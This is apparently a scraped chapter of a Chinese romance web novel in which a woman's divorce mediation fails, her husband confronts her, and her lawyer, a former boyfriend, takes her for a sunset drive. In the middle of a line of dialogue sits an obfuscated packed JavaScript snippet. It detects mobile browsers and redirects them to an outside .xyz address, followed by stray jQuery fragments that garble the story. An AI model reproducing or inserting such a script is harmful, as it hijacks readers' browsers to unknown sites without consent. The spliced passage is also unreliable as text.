25. 夕阳

作品:《前男友帮我打离婚官司

    陶法官正劝着温浅,突然被季辞打断,神色有些不悦。


    她看向季辞,“季律师,话不能这么说。你毕竟只是代理律师,人家两口子的事情,还是不要替当事人做决定。离婚纠纷里面打着打着就和好的也不在少数,既然当初决定缔结婚姻......”


    “法官。”温浅开口又打断了陶法官的话,“季律师的意思就是我自己的意思,这段婚姻没有挽回的可能,我只想离婚。”


    当事人自己发了话,陶法官不好继续说季辞什么。


    她又将话头回到温浅这边。


    “作为家事法庭的法官,我经手了许多婚姻纠纷的案子,在现在这个社会,两个人走到一起不容易,我们也更希望每个人的家庭能和谐。”


    眼见着温浅又要说什么,她赶忙接话,“你等我说完,你再说。”


    温浅微张的嘴又闭上了。


    她继续说着,“如果真的是被告做了过分的事情,我们这个地界的法院也不会一味只劝和,但就目前你描述的婚姻情况来看,我很难支持你的决定。”


    “法院这是未审先判了吗?”季辞插话。


    “季律师言重了。”一顶帽子扣下来,陶法官立马接了话,“再说了我也不是这个案子的承办法官,我的意见也只能做个参考而已。”


    “没有矛盾就不能离婚了吗?”温浅忍不住问道,“公民的结婚和离婚不应该是自由的吗?现在我想要离婚,为什么不可以离?”


    陶法官神色有些奇怪,“温小姐这么理解婚姻,未免太浅显了些。”


    这话说得温浅一愣。


    她想起四年前办过一个婚姻主题的展览,当时也有个年纪稍大的合作商这样评价过。


    可是对于婚姻,她确实没有太多的理解,也不可能真正去领悟。


    因为她的婚姻本就不是真正的婚姻。


    “法院有法院的价值评判,但也不能否定个人的意愿。”季辞接话。


    温浅侧过头看他,听到他继续说,“温小姐有提起离婚的权利,也有权利选择结束自己的婚姻,在结婚还是离婚的问题上,她都是自由的。”


    他的话语不须不疾,却掷地有声响起在这个不大的调解室。


    温浅回忆起来,从她决定离婚开始,只有季辞是完全无条件且无疑虑支持她的。


    他一直都支持她的所有决定。


    除了六年前分手。


    陶法官看了原告方这俩人,看起来是没可能说动的。


    她又转向被告方,“原告的意见你们也听见了,非常坚持要离婚。那你们这边呢?同意离吗?”


    谢言修看着对面两人十分默契的配合,脸色已经快比锅底黑了。


    他的手紧握成拳站起身,冷森的眼神落在季辞身上,而后丢下一句“不可能离婚”就出大步走出了调解室大门。


    黄律师被他的动作惊了一下,很快反应过来。


    朝着陶法官说道:“法官勿怪,他不想离婚,所以情绪不太好,我替他给你道歉。”


    “被告什么意思?这里是法院,不是你们公司内部。”陶法官上了气性,“今天是按照程序组织的调解,调解还没结束就中途退场,对法官和原告都没有基本的尊重吗?”


    黄律师也很尴尬,“实在不好意思,我回去一定跟他好好讲讲。”


    “把这个签了。”


    陶法官压下情绪,递了张文件给黄律师。


    文件上是关于调解达不成一致意见,调解失败的回执材料。


    “好在今天只是调解,如果是开庭开到一半,被告不经许可退庭,我们是要当缺席审理的。你跟被告讲清楚,别把在公司当领导那一套拿到法院来。”


    “是是是,我一定传达到位。”黄律师签了字,就提包出了调解室去找谢言修。


    等到温浅这边也签了字,陶法官拿上案卷,头也不回地就离开了。


    ——


    两人出调解室的时候,刚刚离开的谢言修此刻站在了门口。


    温浅原本想绕过去,他却走了过来。


    在两人面前站定,眼神落在她身上,“温浅,我们聊聊。”


    她往后退了一步,“你有什么想说的,可以找我的律师谈。”


    季辞侧身,虚挡在她身前,“我有黄律师的微信,你有什么想法可以通过他传达给我。”


    “我们一定要这样针锋相对吗?”谢言修没理会季辞,“夫妻一场,连坐下来聊聊的机会都没有吗?”


    “是你先破坏了我们之间的平和。”她看着他,眼里是反复拉扯的疲惫,“我们已经聊了一年了,如果能说好就不会走到法院来。”


    她声音带着无奈,“如果你不同意离婚,那我们真没有什么可聊的。”


    谢言修双手垂在身侧,身上的力气被她的话一丝一丝剥离,“除了离婚,我们之间真的什么都没有了吗?连朋友都没得做了吗?”


    “我不和伤害我的人做朋友。”


    谢言修眼神颤动,胸口发闷得紧。


    她的话指向性明显,是那天晚上的闹到派出所的事情,是他一时酒意上头冲动酿成的恶果。


    “对不起。”这是他第三次说抱歉,“我知道可能再多的歉意也无法弥补,但我真的没有想要伤害你。”


    “不只是这个,还有我工作上的事情。”她将一切摊开,“我一开始是打算离婚后和你依旧是朋友,可你后来做的事情太让我失望了。”


    她看着谢言修,“我们本就不是一个世界的人,因为意外走到了一起,现在也只是各归各位而已。”


    “各归各位。”他口中呢喃这个词,苦笑了一声,“我原本以为,我身侧的位置一直都会有你在。”


    他原本以为他们是利益契合的伙伴,是在明争暗斗谢家相互支持的同盟。


    直到她提出离婚的那一刻,他才明白,她早就做好了随时离开的准备。


    温浅没有接他自叹自艾的话,他继续说道:“我还有一个问题。”


    “你说。”她答。


    他看着她,停顿了一会儿才开口问道:“你选择跟我离婚,和你身边这个人有关系吗?”


    “什么?”她似乎是不理解他的话,“你什么意思?我和你的事情,你扯他进来做什么?”


    “谢先生。”季辞适时插了话,“你既然问出这个话,那便是查证过一些事情。那你应该知道,在她提起离婚诉讼之前,我从未出现在过你们的生活里。”


    他的语气轻蔑,对这个问题感到可笑,“要离婚了不去找自己的原因,倒是往别人身上泼起了脏水。”


    温浅压下情绪,“不管我们当初是因为什么结婚,但既然对外我们是夫妻关系,那我便会维持


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416026|182516||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一份体面。离婚的原因一开始我就说的很清楚了,你不必做无谓的揣测。”


    两人一连串话语砸过来,令谢言修无话可说。


    他本也知道不是因为季辞,可他还是没有忍住,迫切想知道两人现在的情况。


    话出口的时候,他便后悔了。


    无法面对温浅的眼神,只留下一句“抱歉”便仓皇而逃。


    ——


    调解开始的时候是三点过,调解完又和谢言修在法院扯了一番。


    两人出法院的时候,太阳已经渐渐西斜,略带橘色的阳光落下来,尚有些晃眼。


    温浅靠在副驾的车窗上,看着窗外倒退的树木和白色的路灯柱子。


    她的思绪飘远,想了很多事情,以至于季辞越开越偏,才回过神察觉到不对。


    “我们要去哪里?这是回家的方向吗?”


    “不是。”


    她扫视了眼四周,车辆行驶的地方是只有一车道宽水泥路,两边种满了笔直的行道路。


    九月底的时间,树叶还是绿色的,铺满了整个枝头,被风轻轻一吹,摩擦间发出沙沙的声响。


    再往外便是大大小小的农田。


    “这里是云市南边的乡下?”


    季辞“嗯”了一声,“这边还没完全开发,没有太多车,很安静。”


    “我们来这里做什么?”她问。


    “逛逛。”他答,“人在安静的地方,心情也会静下来,我刚刚感觉到你很烦躁。”


    “跟一个人反反复复说不通,换成谁都会觉得烦躁。”


    温浅将窗户放了下来,橘色的阳光挤进车内,行驶不快的车带了晚风进来。


    有些热度,却又刚刚好。


    她双手抓在窗户上,下巴带着脑袋微微探出窗外,风将她的发丝撩起飞舞在身后。


    宁静的乡间小路、和煦的夕阳、温柔的晚风,渐渐抚平她内心的焦躁。


    终于季辞在路边停了车,他解开安全带,“下去走走?”


    “好。”她回应着。


    两人顺着不宽的石子路往里走去。


    路两边是尚未完全成熟的稻田,青绿夹杂的颜色铺开了一大片。


    “你最近工作找的怎么样?”季辞忽然开口问道,并解释着,“那天在寺庙吃饭的时候,桑以宁提了一嘴。”


    温浅低头,用脚踢着路上的小石子,“不怎么样,云市这边谢言修应该也搞了小动作,我暂时在家里蹲着。”


    “我认识一些艺术行业的人,有需要的话,我可以给你引荐。”他接了话,“还有一些政府单位在招跟你专业对口的岗位。”


    她侧过头来看他,夕阳打在他半边脸上,能看到细密的绒毛。


    嘴角轻轻扯开笑,“不用了,这段时间我也想过了,我做策展做了五年多,正好也借机会休息一下,想想之后的职业规划。”


    “好。”季辞没有追问,“你有需要就告诉我。”


    她转回头去,声音低低的,“这样会不会太麻烦你了?你接了我的离婚案子,怎么感觉什么都归你管了。”


    他停下了脚步,温浅也顺势停了下来。


    夕阳将两人的身影拉得很长。


    他眼眸中映着残阳的红色,与她目光相接,“温浅,不管你想做什么,我都会帮你。所以,你可以完全信任我。”